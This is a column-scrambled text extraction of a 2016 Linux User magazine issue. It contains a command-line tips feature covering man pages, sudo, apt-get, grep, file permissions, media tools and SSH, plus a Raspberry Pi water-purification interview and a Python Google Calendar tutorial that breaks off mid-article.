graphs at the same time. Terminator is nice in that by the terminals emulator in order to open the option
it provides a similar experience – the ‘dividers’ in videogames dialog shown in the screenshot.

www.linuxuser.co.uk 55

054-062 Take Command Feature PK.indd 55 07/09/2016 16:28

 Feature Master the command line

HELP AND >_018 SUDO

One of Unix’s strongest selling points
is its strict multi-user focus: when set

MAN PAGES
up correctly, one workstation can even
service multiple users at the same
time. All of this is made possible by
a strict rights management system:
the operating system makes sure that
one user can’t mess up the iles or the
>_Although Google provides lots of info on most operating system.
Sadly, administrative tasks must
shell commands, Unix’s built-in help tools also be performed. This is the job of the
superuser, which is commonly known
deserve attention as root. As logging yourself into the
SU account each time is painful, an
>_010 What’s in a name? Another interesting method involves alternative exists in the sudo command
Should you ever wonder about the role of a the searching of content: using /pattern (best memorised as SUperuser DO).
speciic command, entering whatis followed searches forward, while ?pattern searches Its usage syntax is really easy. Simply
by the name of the command in question backwards. When entered, matching text put sudo in front of the command that is
tends to lead to further information on the passages will be displayed for you in a to be run: when invoked for the irst time,
you will be asked for the root password
topic. Our example, shown here, tells us what highlighted fashion.
before execution. Be aware that your
the gcc tool is all about.
input is not mirrored – you must type
>_014 man on man blindly, and terminate the password by
~$ whatis gcc The man page viewer also comes with a man pressing Return:
gcc (1) - GNU project C page on itself. It can be opened by entering
and C++ compiler the command man man – reading it through [sudo] password for tamhan:
provides you with insights on a variety of Android nativespace Templates
>_011 Simple help interesting aspects of the man system. . . .
Most shell commands come with an In addition to that, pressing the H key while
integrated help system providing further reading through a man page provides you with Should you ever feel like running multiple
information about the syntax. It can usually a list of keyboard shortcuts that are helpful sudo commands in a sequence, feel free
be accessed by passing in a parameter like when navigating man pages. to capture a ‘root shell’ instead. This
-help, --help, -? or --?. If the syntax is not is best accomplished by entering the
correct, the utility will usually show a little >_015 Do it the GNU way command sudo -s. When done, you ind
yourself inside a shell owned by root –
message informing you about the correct Some applications – the products taken from
this can be seen by the change of the
help parameter. GNU itself are a classic example – do not
preix shown in the image here; -s, by the
Be aware that experimenting around with come with proper man pages. Information way, stands for shell.
these commands can be dangerous: we on them must, instead, be gleaned from a
would not try to ind out the correct help similar utility called info. It can be opened by
parameter for rm or similar utilities which entering info <command> – simply entering
can cause harm to the ile system, especially info opens an introductory page describing
given the fact that other help systems are the local system.
readily available.
>_016 Handle the info viewer
>_012 Read the manual! The info tool differs from the normal man
Most commands come with a man page – page viewer in that it offers a cursor. It can
the abbreviation stands, unsurprisingly, for be moved across the screen freely, while fast
‘manual page’. It can be accessed by entering scrolling can be accomplished via PgUp and
man followed by the name of the command PgDown. Place the cursor inside the numeric
you want to ind out more about. When that brackets behind a hyperlink and press Return After entering sudo -s,
your shell has root rights
is done, the man page viewer will show up on to open the relevant page.
your screen along with the requested content.
>_017 Search your man pages relevant commands that you need. For
>_013 Advanced man handling Man pages are helpful as long as you example, entering apropos <what> leads
You can scroll through the man page by know which command is responsible for to the dumping of a list of all man pages
pressing the up and down arrows to move the achieving what you want to do. If this is not that match the entered query string. You
caret (^) around the screen. Pressing Q allows known, searching the man pages for a string can then look through the output to ind the
you to quit back to the command line. might be a helpful way to get a lead to the information you need.

56

054-062 Take Command Feature PK.indd 56 07/09/2016 16:28

 >_019 Apt-get Terminal
The Advanced Package Tool, or APT, is a free
software user interface that works with core
How repos work
libraries to handle the installation and removal of In theory, software could be distributed in source
code. Repositories make your life easier
software on many Linux distributions, including
Debian and Ubuntu, making it much easier than Ubuntu / Debian cannot possibly Add a repo
compiling from source. Among its command-line manage all of the countless program Should you be provided with a ppa URL, simply
tools, the most used is apt-get. packages that are available in the world. run the following two apt-get commands while an
In order to enable users to access internet connection is established. Sadly, apt-get
How to do it? non-supported products via the apt- will always update all repositories – this process
Ubuntu provides excellent integration between get command-line tool, developers can can take a bit of time:
apt-get and the terminal. When entering the provide custom repositories containing
name of a known but not installed package, the precompiled packages for download. sudo add-apt-repository ppa:user/ppa-name
shell will automatically display the corresponding
In principle, a repository is little sudo apt-get update
installation command:
more than a publicly accessible server
~# terminator that – ideally – has a very beefy upload When these commands have been executed,
The program ‘terminator’ is currently connection. In addition to that, it also simply deploy the packages via apt-get. Should
not installed. You can install it by provides an HTTP-accessible listing of you ever feel like banishing a repository along with
typing: packages hosted on it. all of its packages, try using ppa-purge.
apt-get install terminator

Another common operation involves the updating require the presence of fully updated repository sudo apt-get update
of all packets on a workstation. As this tends to lists, the process is usually accomplished in a block: sudo apt-get upgrade

www.linuxuser.co.uk 57

054-062 Take Command Feature PK.indd 57 07/09/2016 16:28

 Feature Master the command line

INSTALLATION
>_020 Search the Use ‘apt-get autoremove’ to remove them.
INSTALLING
BINARIES
package information
The apt-get tool comes with a little brother called Fortunately, ixing that problem is really easy: >_Most packages are
apt-cache. It can be used to find out information just invoke apt-get autoremove to get rid of the
about the packages currently known in the cache, unneeded packages. However, be aware that binary. But what does
gathered from various repositories after apt-get
update is run. One simple use case involves finding
some dependencies are not tracked by apt-
get: if your system suddenly starts acting up,
that mean?
out more about the origins of a package. reinstalling the packages that you have deleted Compiling source code can be tedious, take it
might prove helpful. from us. Binary packages solve this problem in
~$ apt-cache show gcc a simple fashion: they contain readily compiled
Package: gcc images intended for the current user’s target
Priority: optional system. The installation process then consists
Section: devel of copying the files to the relevant locations – in
Installed-Size: 41 some cases, a script or two is run to handle the
... editing of config files.

>_021 Sniff out dependencies DEB archaeology

When deploying packages on space-constrained A DEB ile is an archive containing two
systems, finding out more about dependencies sub-tars. One of them is responsible for
Above dpkg can analyse the contents of holding metadata about the package’s
is helpful. Simply enter apt-cache showpkg unknown DEB iles content, while the other one contains the
followed by the name of the package in order to
actual iles that need to be copied to the
dump detailed information on dependencies of the >_025 Fall back to dpkg target system. In addition to that, a ile
named packet. Even though most package handling is managed called debian-binary is present: it usually
via apt-get on modern Unix systems, developers contains a version designator describing
>_022 Clean up! should also keep in mind dpkg. It provides a large the version of the packet format used in the
As time goes by, apt-get can accumulate quite a variety of useful commands. For example, the ile’s contents.
bit of cached information. This can be removed by presence of a package can be checked via the Of course, the above-mentioned structure
entering the command apt-get clean – be aware, -l option: has a severe disadvantage: a binary package
though, that many systems don’t accumulate can only be used on the architecture for
garbage. In this case, the command will return ~$ dpkg -l apache2 which it was compiled. Owners of a system
with an ARM CPU will not beneit much from
without any output as there will be nothing for dpkg-query: no packages found
the presence of a package containing x86 or
it to show you. matching apache2
x64 binaries.

>_023 Perform a deeper clean-up When dealing with unknown DEB iles, using Install that DEB
apt-get clean does not kill all of the gunk found the dpkg -c <file> version of the command While most DEB packages can be deployed via
in apt-get’s caches. Running apt-get clean is helpful. It dumps a list of all iles contained apt-get using the methods mentioned above,
autoclean invokes a more thorough cleaning in the package – be aware that this does not, some services (Skype, cough cough) provide
process, which, however, takes a bit of extra time. however, allow you to ind malicious routines their users with raw DEB file downloads. In that
hidden in binary iles. case, simply double-clicking the product is the
>_024 Learn to eliminate safest way to start a deployment via Ubuntu’s
orphaned packages >_026 Parallelise it Software Centre.
Command-line jockeys should alternatively
In some cases, a package gets upgraded and More than ten years after the introduction
use the dpkg command. A packet can be
loses one or more dependencies in the process. of dual-CPU workstations, make, by default,
installed by entering dpkg -i <debFileName>.
In this case, these packages can be orphaned – a still invokes but one thread at a time. When
state which apt-get announces at various times running make by hand, pass the parameter
when operated. -j followed by a number to tell the utility that memory tends to eliminate any gains from
more than one core should be used for the the extra core. Second, setting -j to a value
~$ sudo apt-get upgrade compilation process. signiicantly higher than the number of CPU
... cores is ineficient in all but a few boundary
The following packages were >_027 Don’t overdo it cases. Finally, when compiling on process
automatically installed and are no longer When compiling large projects for the irst computers, thermal overload can be caused
required: time, developers tend to set -j to an insanely by using all cores simultaneously – compiling
libhdb9-heimdal libkdc2-heimdal high value. This is not effective for a variety Qt with make -j 4 on a Raspberry Pi 3 is a
libvala-0.24-0 libvala-0.26-0 libvala-0.28-0 of reasons: irst of all, the use of swap recipe for a thermal reboot.

58

054-062 Take Command Feature PK.indd 58 07/09/2016 16:28

 >_028 Searching with grep COMPILING
>_Master advanced ways to use
this ile searching utility SOURCE CODE
Finding iles by looking at their ile names and Android/Sdk >_In some cases,
metadata is always just part of the solution: tamhan@TAMHAN14:~/$
going in really deep requires the use of search
getting binaries just
utilities that can look at the ile’s content. Grep is not limited to processing input isn’t enough. Source
The grep tool is the gold standard for such coming from a ile: it can also take values
tasks. The simplest way to use it involves from STDIN. We use this to create a chain of code packages solve
setting the program loose on the contents of a
random, unfortunate ile:
two grep instances: the irst one emits all
export declarations found in bashrc. This is
this problem
then forwarded to a second grep instance, In principle, compiling source code is really
~/Arduino/libraries$ grep info which ilters them down using a search string easy – invoke GCC or a similar utility on it,
readme.txt ordering the command to take only those lines and feast your eyes on the result. Sadly,
For information on installing that start with ‘ANDROID’. In addition to that, non-trivial applications usually consist
libraries, see: http://www.arduino.cc single characters can also be escaped – more of a lot of iles and require libraries and
en/Guide/Libraries information on that is available in various linker settings.
tamhan@TAMHAN14:~/Arduino/libraries$ treatises on regular expressions. This problem is addressed by a utility
called Make. It processes instruction iles
Our irst example instructs grep to look for the Advanced grepping which go by the name of makeiles, and
string info, which is to be found inside a ile In addition to the normal grep command, most which specify the steps needed to create
called readme.txt. The program is not limited to Unix distributions also provide alternative a workable binary out of the package’s
standard matching: special search strings can commands such as egrep, fgrep and other, contents. Some projects go even further
be annotated with characters called wildcards, similar utilities. Egrep is an extended form of – one example is Qt, whose custom
which modify the matcher’s behaviour to better grep, which treats all of its input as regular conigure utility even compiles a bunch of
suit your needs. expressions – ironically, it is similar to invoking helper utilities.
the normal grep with the -E parameter. Fgrep is
Piping and matching similar in that it falls back to grep -F. How to do it?
Let’s take a look at this via another command The pgrep command, on the other hand, is truly The exact steps to compiling a program differ
which looks for Android SDK-related declarations novel. It searches the list of running processes from product to product. In practice, most
in the bashrc file: and returns the ID of any matches – inding the open source products tend to provide ample
documentation, which is best followed to
PID of Skype could be accomplished like this:
the letter – developers tend to frown upon
~/$ grep export ~/.bashrc | grep (inexperienced) users who try to get up their
‘\<ANDROID’ ~/Arduino/libraries$ pgrep sky own compile path and run into trouble.
export ANDROID_HOME=/home/tamhan/ 5059 In some cases, distribution maintainers
provide source packages that can be
downloaded via apt-get. One classic would be
the downloading of the IcedTea JVM, which
can be accomplished via the following steps:

sudo apt-get build-dep icedtea-6-jre-

jamvm
sudo apt-get install build-essential

apt-get source icedtea-6-jre-jamvm

cd <folder>
dpkg-buildpackage -us -uc

Compiling large projects can take a lot

of time, even on high-end machines; in
addition to that, be aware of the outrageous
demands placed on the ile system. Due to
that, try to use ready-made binary packages
when possible, if you are not interested in
developing the utility or need to apply an
Above Most recent versions of grep come with colouring: the relevant parts of the result urgent patch.
lines are highlighted for your convenience

www.linuxuser.co.uk 59

054-062 Take Command Feature PK.indd 59 07/09/2016 16:28

 Feature Master the command line

MANAGE FILE
PERMISSIONS
FILES AND DIRECTORIES
>_Storing iles is among the most important jobs
>_Unix’s multi-user capability
requires solid ile-level rights of a computer. These command-line utilities keep
management. Here are four you in command
commands that are helpful >_033 Get file information traversal depth and the filtering of the files that
>_029 Who owns what? Sometimes you simply want to see what is are displayed.
The first step to successfully managing the contained in a text file. In that case, invoking the
permissions of files involves finding out who more command is helpful – it shows one screen- >_038 Find differences between
has what rights. Entering ls -l provides you full’s worth of content, which can furthermore be text files
with an expanded version of the normal ls scrolled down effortlessly. When dealing with text files, the diff command is
output which also lists owner and accessibility extremely helpful. Its output shows the difference
permissions in the form of a table similar to the >_034 Keep an eye on changes between the two files passed in – be aware that
one shown in the image. Tools such as the sensor utility are best watched the d stands for decimal, and describes the
as time goes by. This can be accomplished by position in a line.
prefixing it with the watch command, which runs
the specified command repeatedly. The tool can >_039 List all storage media
even be provided with the parameter -n, which Linux’s way of organising the ile system
allows you to configure the delay between the can get confusing, especially if Automount
individual updates. is enabled. Entering lsblk provides an
Above Each character describes one bit overview of the block devices along with any
of ile system information >_035 Find your current location mount points. In addition to that, the size is
Even though Bash usually does a quite displayed – it can be helpful when correlation
>_030 Understanding the output decent job at displaying the current path, is needed.
As long as the width of the terminal is some special folders are not displayed in
wide enough to take the entire output, full. This problem can be addressed via the ~$ lsblk
ls generates classic tabular output. The pwd command, which outputs the current NAME MAJ:MIN RM SIZE RO TYPE
eleven characters on the very left of each working directory. MOUNTPOINT
line provide information on the rights. After sda 8:0 0 223,6G 0 disk
that, the two usernames provide information ~$ pwd |-sda1 8:1 0 177G 0 part /
about the user and the group owning the ile: /home/<user> |-sda2 8:2 0 1K 0 part
groups are a very eficient way of sharing |-sda5 8:5 0 3,7G 0 part [SWAP]
rights across multiple users. >_036 Count the words sr0 11:0 1 1024M 0 rom
Word counts are useful things to know. The
>_031 Make files run wc command counts the words found in a ile. >_040 Find out everything about
One of the most common problems involves The syntax used is shown in the help snippet storage capacity
making downloaded files executable. Ext* file displayed here: Sometimes, you just need to know whether you
systems differ from FAT et al in that files can still have enough storage space for a particularly
be marked as executable via a special bit in the ~$ wc --help pesky file. Entering df -H lists all file systems and
file system. Fortunately, solving the problem ... their spaces – be aware that not all of them are
is easy – just use chmod with the +x flag, which Print newline, word, and byte counts also user-accessible, though.
sets the executable bit. for each FILE, and a total line if
more than one FILE is specified. With ~$ df -H
chmod +x <filename> no FILE, or when FILE is -, Filesystem Size Used Avail Use%
read standard input. A word is a Mounted on
>_032 Change file ownership non-zero-length sequence of characters udev 6,2G 4,1k 6,2G 1% /dev
In some cases, files need to have their delimited by white space. tmpfs 1,3G 1,4M 1,3G 1% /run
owner changed. This is the job of the chown /dev/sda1 187G 74G 104G 42% /
command, whose name is explained via >_037 Get a visual overview of none 4,1k 0 4,1k 0% /
CHange OWNer. Chown can take a large array the file system sys/fs/cgroup
of parameters, allowing you to affect the In many cases, the structure of a folder hierarchy none 5,3M 0 5,3M 0% /
permission system in a detailed fashion. must be presented in a document. This is a prime run/lock
Beginners should be aware that chown can gig for the tree command, which – when invoked none 6,2G 3,7M 6,2G 1% /
be used to assign file rights to other users – if – simply emits a visual representation of the entire run/shm
used wrongly, you can no longer access the file working directory. The command, furthermore, none 105M 74k 105M 1% /
unless you have superuser rights on call. takes a set of parameters allowing you to vary the run/user

60

054-062 Take Command Feature PK.indd 60 07/09/2016 16:28

 CLI MEDIA
PLAYERS
>_Playing back
multimedia content from
the command line is
interesting for a variety
of reasons, including the
ability to create scripts
CMus
bit.ly/2bSc9n9
Friends of the vi editor can use their well-liked
syntax to perform media playback. Deploy CMus
to get your hands on a nicely designed media
player which behaves just like vim. People who
dislike vim are unlikely to be happy with the

MEDIA
product, though – if you don’t know vim by heart,
another media player with a simpler user interface
is likely to leave you happier in the end.

mp3blaster
>_Even though multimedia is not usually mp3blaster.sourceforge.net
If CMus is intended for vim heads, mp3blaster
associated with the command line, a nice array is the MP3 player ‘for the rest of us’. Its super-
easy user interface is full of hints, which explain
of media management tools await orders the various keyboard shortcuts needed for
multimedia manipulation. The developer claims
>_041 Change the file format convert in.png -resize 200 out.png that its design was inspired by traditional CD-ROM
Image processing is best handled via the players – if you ever handled a CD-ROM, you will
not have any problems with mp3blaster. Sadly,
ImageMagick tool. It is not deployed automatically >_043 Look at EXIF data support for OGG et al is not implemented.
on most workstations, and must instead be Digital cameras store a large amount of
installed manually by entering sudo apt-get information in their image files. Imagemagick SoX
install imagemagick. contains a utility that can read their contents – sox.sourceforge.net
Here, a simple task involves conversion simply entering the code accompanying this tip SoX is commonly described as the Swiss Army
between various file formats. Invoking the code might just reveal an amazing amount of detail knife of multimedia handling. The product can be
accompanying this tip converts a PNG file into a about your file. used for converting audio files between a variety
JPG file. of different formats. Command-line heads will
~/Downloads$ identify -verbose also like the package as it provides an easy-to-
convert myfile.png myfile.jpg IMG_20160727_012033.jpg use playback function which can be invoked from
scripts. This is ideally suited for emitting various
warning and/or status sounds related to the task
>_042 Resize your media >_044 Harness the ffmpeg currently processed in your script.
files efficiently On some versions of Ubuntu, the ffmpeg utility
Changing the file format is but a small part is available from the repository – 14.04 LTS ogg123
of image processing – in many cases, the file is a troublemaking exception. If the program www.vorbis.com
size needs to be reduced. When doing this in is available, it provides you access to a If your main interest is simply playing back OGG
bulk, specifying the number of pixels should be large selection of multimedia conversions. files, using the ogg123 utility found in the Ogg
handled in a flexible way so that the aspect ratio One nice example involves the changing Vorbis standard distribution might just be the
is preserved. of ile formats – an MP3 ile can easily be ticket. It is a super-simple utility which does not
The example shown accompanying this converted into an OGG ile when ffmpeg is require much memory and can be used easily.
tip intelligently reduces your image so that parameterised correctly. Users wanting to play back MP3 files must convert
their media elements before using ogg123 – the
the wider of the two edges is 200 pixels wide
program is not able to handle non-Vorbis files.
– both portrait and landscape pictures get ffmpeg -i input.mp3 -c:a libvorbis -q:a
processed correctly. 4 output.ogg

www.linuxuser.co.uk 61

054-062 Take Command Feature PK.indd 61 07/09/2016 16:28

 Feature Master the command line

>_045 SSH and

how to use it
>_Using SSH means
you can run services
securely even on
unsecured networks
Given the tremendous power of the command
line, developers and users might feel like
controlling a computer remotely via a command
line. This is made easy due to the relatively low
resource demands – being text-based, streaming

NETWORKING
a command line works even over a throttled
mobile connection.
Initially, Unix workstations were accessed via
Telnet. SSH – the abbreviation stands for ‘Secure
SHell’ – is a more secure version of the protocol,
which foregoes simple plain-text transfers for a >_Connecting computers to one another is important.
more or less efficient form of encryption.
Some command-line tools make it more comfortable
Get connected >_046 Get the network status
Configuring the local SSH daemon depends from
When network problems occur, inding out
workstation to workstation: defer to Google to
more about the state of the various interfaces
learn more. Connecting to an instance is really
easy – the bickering about the host key can be is helpful. Simply invoke ifconfig to ind
ignored in most cases: whatever you want to know – be aware that it
also lists inactive or default interfaces such
~/workspaceAndroid# ssh [email protected] as lo.
Above The mtr command lets you drill down to
The authenticity of host ‘10.42.0.98 ind out where delays happen in the connection
(10.42.0.98)’ can’t be established. ~$ ifconfig
ECDSA key fingerprint is 3b:41:53:02:ca:df:c ... inding out where they occur. This is best
b:27:5d:35:6f:e6:61:a9:b2:cf. wlan2 Link encap:Ethernet HWaddr accomplished via the mtr utility, which prints
Are you sure you want to continue e8:de:27:0f:ea:ba out a detailed ‘time loss analysis’ of the
connecting (yes/no)? yes inet addr:192.168.1.219 data transfer between your machine and a
Warning: Permanently added ‘10.42.0.98’ Bcast:192.168.1.255 Mask:255.255.255.0 remote host.
(ECDSA) to the list of known hosts. inet6 addr: fe80::eade:27ff:fe0f:eaba/64
[email protected]’s password: Scope:Link >_049 Where U at?
UP BROADCAST RUNNING MULTICAST When routing process computers or similar
Stay alive
By tradition, a job started in a shell is terminated
MTU:1500 Metric:1 peripherals with your workstation, inding
along with it: disconnecting from a remote system RX packets:139536 errors:0 the IP address of the client is dificult. Nmap
kills its shell. This problem can be avoided by using dropped:21435 overruns:0 frame:0 is a powerful network scanner which can ind
the tmux command, which – on many systems TX packets:123348 errors:0 dropped:8 hosts in an IP range, and can also generate
– must be deployed with apt-get before it can overruns:0 carrier:0 a report on the various ports that are open.
be used. collisions:0 txqueuelen:1000 Once it’s installed, type the following:
In the next step, enter tmux after connecting to RX bytes:227160263 (227.1 MB) TX
the remote host. This will lead to a dialog which bytes:20342818 (20.3 MB) less /usr/share/nmap/nmap-services
can be used just like a normal terminal. The really
interesting part is disconnecting from the tmux
window by pressing CTRL+B, followed by D:
>_047 U there? >_050 List all ports!
Most networked systems respond to presence When debugging network issues, inding
detection packets called pings. Sending them out which port connections currently exist
~$ tmux
out can be accomplished by entering ping can be helpful. This is best handled via the
[detached]
<host> – be aware that the process must be netstat command. It, furthermore, takes a
After logging in again, the session can be ended by pressing Ctrl+C in order to get the list of different parameters allowing you to
reclaimed by entering tmux attach – if the statistics shown in the igure. customise the amount of information shown
system was not rebooted, all should be in place on-screen. When the list is limited, combining
just as you left it. >_048 Find network delays it with the aforementioned watch command is
If network issues occur, the next step involves especially helpful.

62

054-062 Take Command Feature PK.indd 62 07/09/2016 16:28

 BUILD A BETTER WEB
www.webdesignermag.co.uk

E • FREE
SU
EVERY IS

Available
RE

from all good

SOURCE

newsagents and
DS

DO supermarkets
WNLOA

ON SALE NOW
Smarter CSS animation techniques | Unleash the power of Node.js | 20 Best WordPress plugins
DESIGN INSPIRATION PRACTICAL TIPS BEHIND THE SCENES STEP-BY-STEP ADVICE INDUSTRY OPINION

BUY YOUR ISSUE TODAY

Print edition available at www.imagineshop.co.uk
Digital edition available at www.greatdigitalmags.com
Available on the following platforms

facebook.com/webdesignermag twitter.com/webdesignermag

WebDesigner_House ad_253.indd 2 01/09/2016 16:33

 Special offer for readers in North America

7 issues FREE When you subscribe

FREE
resource
downloads
in every
The open source
issue authority for
professionals
and developers

Order hotline +44 (0)1795 418661

Quote
Online at www.imaginesubs.co.uk/lud USA
*Terms and conditions This is a US subscription offer. You will actually be charged £80 sterling for an annual subscription. for this
This is equivalent to $105 at the time of writing, exchange rate may vary. 7 free issues refers to the USA newsstand price of $16.99
for 13 issues being $220.87, compared with $105 for a subscription. Your subscription starts from the next available issue and will
run for 13 issues. This offer expires 31st December 2016.
exclusive
offer!
064 US Subs.indd 80 07/09/2016 17:03
 THE ESSENTIAL GUIDE FOR CODERS & MAKERS
PRACTICAL
Raspberry Pi
72 “Once our robot can avoid walls
we will add a second behaviour to
follow a light source such as
a torch being shone on the left
or right side of the robot”

Contents

66 Producing clean
water with Pi 68 Set up a family
calendar on Pi 70 Evening photos
with Pi NoIR 72 Build an Explorer
robot: Part four

www.linuxuser.co.uk 65

065_LUD170.indd 65 07/09/2016 16:30

 Assessing the reaction
The benefit of using a Raspberry Pi is
that it’s considerably cheaper than
some of the core components that
could have been used instead. In this
experiment, the Pi is used to assess
the rate and efficacy of the chemical
reaction taking place

Semiconductor
The titanium dioxide chemical is
spin-coated onto a glass wafer, which
in turn is placed at the bottom of a
beaker with a strong UV LED above it.
The wafer acts as a semiconductor,
so when the UV photons hit it, the
electrons become mobile

End goal
Monitoring voltage In an ideal scenario, the Raspberry Pi
As the solution is pushed through the will end up being a cost-effective way
system, the light passing through it to help make the process of purifying
is registered by a photodiode. The water that little bit better. While we’re
photodiode then turns this output into far away from this being used around
a voltage, which is then read by the the world, it’s a great start!
Raspberry Pi

Right Coloured liquids were used to simulate the

chemical reaction, and their brightness makes it easier
Components list to see the reaction take place

■ Raspberry Pi Below Different setups of the experiment were used

throughout, with the Raspberry Pi being a cheap way to
■ D.I.Y HAT change things on the fly
■ Photodiode
■ Multiple beakers
■ Expansion board with ADC
and DAC chips
■ Wiring and tubing

66

066-067 RasPi Project.indd 66 07/09/2016 16:30

 My Pi project

Producing clean water

with the Raspberry Pi
Saving lives with the Raspberry Pi has never been
easier thanks to Jessica Mabin’s photocatalyst project
Could you tell us a little about and then as the topic of my PhD. The regarding the full potential of the
what photocatalysts are and your project has evolved from needing Raspberry Pi. With the appropriate
drive for the project? expensive dedicated test equipment expansion boards, we could exploit
One in ten people don’t have access costing thousands of pounds to the Raspberry Pi to measure many
to clean drinking water; including an equivalent test system based more important environmental
some of the most remote parts around the Raspberry Pi, costing parameters. The number of bits
of the world. The water crisis has about £100 in total. This has enabled on the ADC limits the sensitivity
been named the number one global us to multiplex and run multiple and resolution of the voltage
risk based on impact to society, as experiments without having to spend measurement. Moving from a 16-bit Jessica Mabin
quoted by the World Economic Forum too much money. ADC to a 24-bit ADC would certainly is a PhD student
in Physics and
in January 2015. This is a pressing improve this. We are still improving Astronomy at Cardiff
issue and therefore has a wealth of How was the Pi used and incorporated the technology for coating surfaces University. She has
potential research implications for into this project? with the TiO2 photocatalyst and this been looking at
different ways to use
both large-scale treatment plants We have developed the setup of is ongoing materials research that’s science to help solve
and small-scale handheld filtration the project from using expensive progressing well. global, wider issues.
units to consider. Although these multimeters and power sources to
systems have been proven to clean exploit the abilities of the Raspberry What are your plans moving forward?
waste water of harmful pollutants, Pi together with an expansion board Do you feel there’s more to uncover Like it?
they are costly and often only containing ADC and DAC chips. from using the Raspberry Pi in science Despite the
partially effective in the long run. We decided to make this move as and research? advanced nature
of the project,
There is therefore demand for we wanted a portable detection We have not nearly tapped all of the Jessica and the
a system that not just filters the system which could be inexpensively resources that the Raspberry Pi can rest of the team
water, but removes all pollutants. replicated on a wider scale. The potentially give us. We envisage the have made some
amazing progress.
A photocatalyst is a chemical that experiment incorporates a laser diode Raspberry Pi being the microcontroller So much so that
is activated with energetic photons which emits red light that passes behind a complete system. As a timelapse video
to promote a reaction, in the case of through a flow cell and is measured on well as measuring the pollutant of the project has
been uploaded to
this project TiO2 (titanium dioxide) a photodiode. The voltage generated concentration, the Raspberry Pi could, show off some of its
is activated by ultraviolet photons, key features. Take
which then facilitate two important
chemical reactions: oxidation and
“There is demand for a system that a look here: http://
bit.ly/2aMQx8B

reduction. These reactions produce

highly reactive radicals which
not just filters the water, but removes Further
reading
rip apart the chemical bonds in
the pollutants, leaving just water
all pollutants” This project shines
light on a global
issue, so we take
and non-hazardous gases. One of by the photodiode is digitised by the for example, be programmed to control our hats off to the
the most important properties of ADC chip on the expansion board and the pumping speed and adjust this to team at Cardiff
catalysts is that they’re not used read by the Raspberry Pi. The ability match the rate at which the pollutants Uni for taking
this on. For those
up in reaction, making them more to inexpensively replicate the setup are being broken down. At the moment interested, the
sustainable sources for continuous allows us to perform experiments we are exploiting the capabilities of official Raspberry
water treatment. testing multiple variables in parallel. the Raspberry Pi to better understand Pi blog has a great
run through on
This multiplex advantage is very the underlying material science of the basics behind
Could you tell us where the original important because it takes several photocatalysis. We need to engineer the science of the
research idea came from? hours to run each experiment, and of and optimise the properties of the TiO2 project for all to
enjoy: http://bit.
My supervisor Dr Stephen A Lynch course, errors can happen from time photocatalytic material before it is ly/2biU5ST
laid the foundations for this research to time. robust enough to use in environments
when he was working at University outside the lab. Ideally we would like
College London. After moving Due to the advanced nature of the to develop a standalone unit that we
to Cardiff University five years project, did you find any limitations could test on real pollutants out in the
ago, renewed interest led to my with the Raspberry Pi? field. The Raspberry Pi will be critical
involvement, first as an MSc student, We are only yet scraping the surface in making this unit portable.

www.linuxuser.co.uk 67

066-067 RasPi Project.indd 67 07/09/2016 16:30

 Python column

Set up a family calendar

With everyone's family being so busy these days, this issue we
will look at using a Raspberry Pi to display a calendar of events
For many people today, a major console.developers.google.com/start/ from oauth2client.client import
issue is keeping their time api?id=calendar that will walk you through OAuth2WebServerFlow
organised and keeping track of the creation of a new project and the
scheduled events. This gets compounded enabling of the API. You will then get a link client_id = 'client ID string'
exponentially for every additional person to get the credentials for this project. client_secret = 'client secret
that you need to keep track of. That The page you get when you first click string'
includes children. This issue, we will look the Credentials button is a wizard where scope = 'https://www.googleapis.com/
at how you can use a Raspberry Pi to you can create a new credential. This is auth/calendar'
Joey Bernard display a family calendar and help you not what you need, however. In this case, flow = OAuth2WebServerFlow(client_
Joey Bernard is a
true Renaissance
keep track of all of the events happening you should click the Cancel button at the id, client_secret, scope)
man, splitting in the lives of your family members. Like bottom of the page and then click on the storage = Storage('credentials.dat')
his time between the previous articles in this series, we will OAuth Consent screen tab at the top of credentials = storage.get()
building furniture, be focusing on the code you will need to the screen to get set up. You can now set if credentials is None or
helping researchers
with scientiic get your calendar information. As for the an email address and a product name and credentials.invalid:
computing problems actual physical display, there are many hit Save. You can now create a new OAuth credentials = tools.run_flow(flow,
and writing options you could choose. These include client ID credential, setting the application storage, tools.argparser.parse_
Android apps
small HDMI displays or small screens that type to Other. You also need to set a client args())
plug directly into the GPIO pins. Your choice name at this stage. Closing the resulting http = httplib2.Http()
of display should be made based on where dialog box, you can download a JSON http = credentials.authorize(http)
you want to mount the finished project. We version of the client secret that will be service = build('calendar', 'v3',
will also be assuming that the calendars used later on to authenticate with. You will http=http)
that we will be displaying from are Google likely want to rename the file to something
Why calendars. If you want to use iCal or some
other format, many of the concepts will
easy to work with, like 'client_secret.
json'. This JSON file contains details for
This should give you a service object that
you can use to query the calendar server
Python? be reusable but you will need to research authentication, including your client ID to collect the details you need for your
the libraries for the specific calendar and a secret key. You need to keep this display. There is a lot of work contained in
It’s the oficial formats. Since we are going to be using information secure. this code. The section where you create
language of the a storage object and get the credentials
Raspberry Pi. out of it is of particular note. The first time
Read the docs at
python.org/doc "You need to go to Google and you do the check to see if you have valid
credentials, it will fail and want to get a
enable the API beforehand" valid set of credentials. This is done by
firing up a browser in order for you to go
to Google Calendar to allow access. This
online calendars, you want to add network Now the initial setup is taken care of, means you will need to either have a GUI
connectivity, such as a Wi-Fi dongle, so we can look at how to talk to the calendar running on your Raspberry Pi this first time,
that you can pull the data for the display. server. Within the main googleapiclient or be using X11 forwarding if you are using
Luckily, Google has a full Python library module, there is a subsection called SSH to connect to the Raspberry Pi.
available that provides access to the API Discovery that will let you start the So, now that we have an authenticated
used to talk to the Google calendar system. communication with the API of interest. connection to the calendar server, we
This means that you should have access to Within this section, the starting point is can start to work with the calendars and
all of the features available within the API. a method called build. This code gives a pull out the data that we need for the
The first step will be installing the Python boilerplate of opening communications display. We are assuming that you will
client with the command: with the Google calendar API. have multiple calendars to help organise
your family; perhaps one for each person.
sudo pip install google-api-python- import httplib2 If this is the case, the first step is to pull
client from apiclient.discovery import out a list of the available calendars for
build this account. You can do that by using
Google has been doing a lot of work from oauth2client import tools the 'calendarList()' method. A full list is
tightening up the security of its APIs. from oauth2client.file import available with:
Because of this, you need to go to Storage
Google and enable the API before you from oauth2client.client import cal_list = service.calendarList().
can use it. There is a wizard at https:// AccessTokenRefreshError list().execute()

68

068-069 Python Column.indd 68 07/09/2016 16:32

 Python column

Can you do
updates?
The returned data is a structured data you entered when you created the event.
set. You can get the entries for the Some of the more important event
individual calendars by using the keyword details that you might be interested in While the main part of the article is about querying
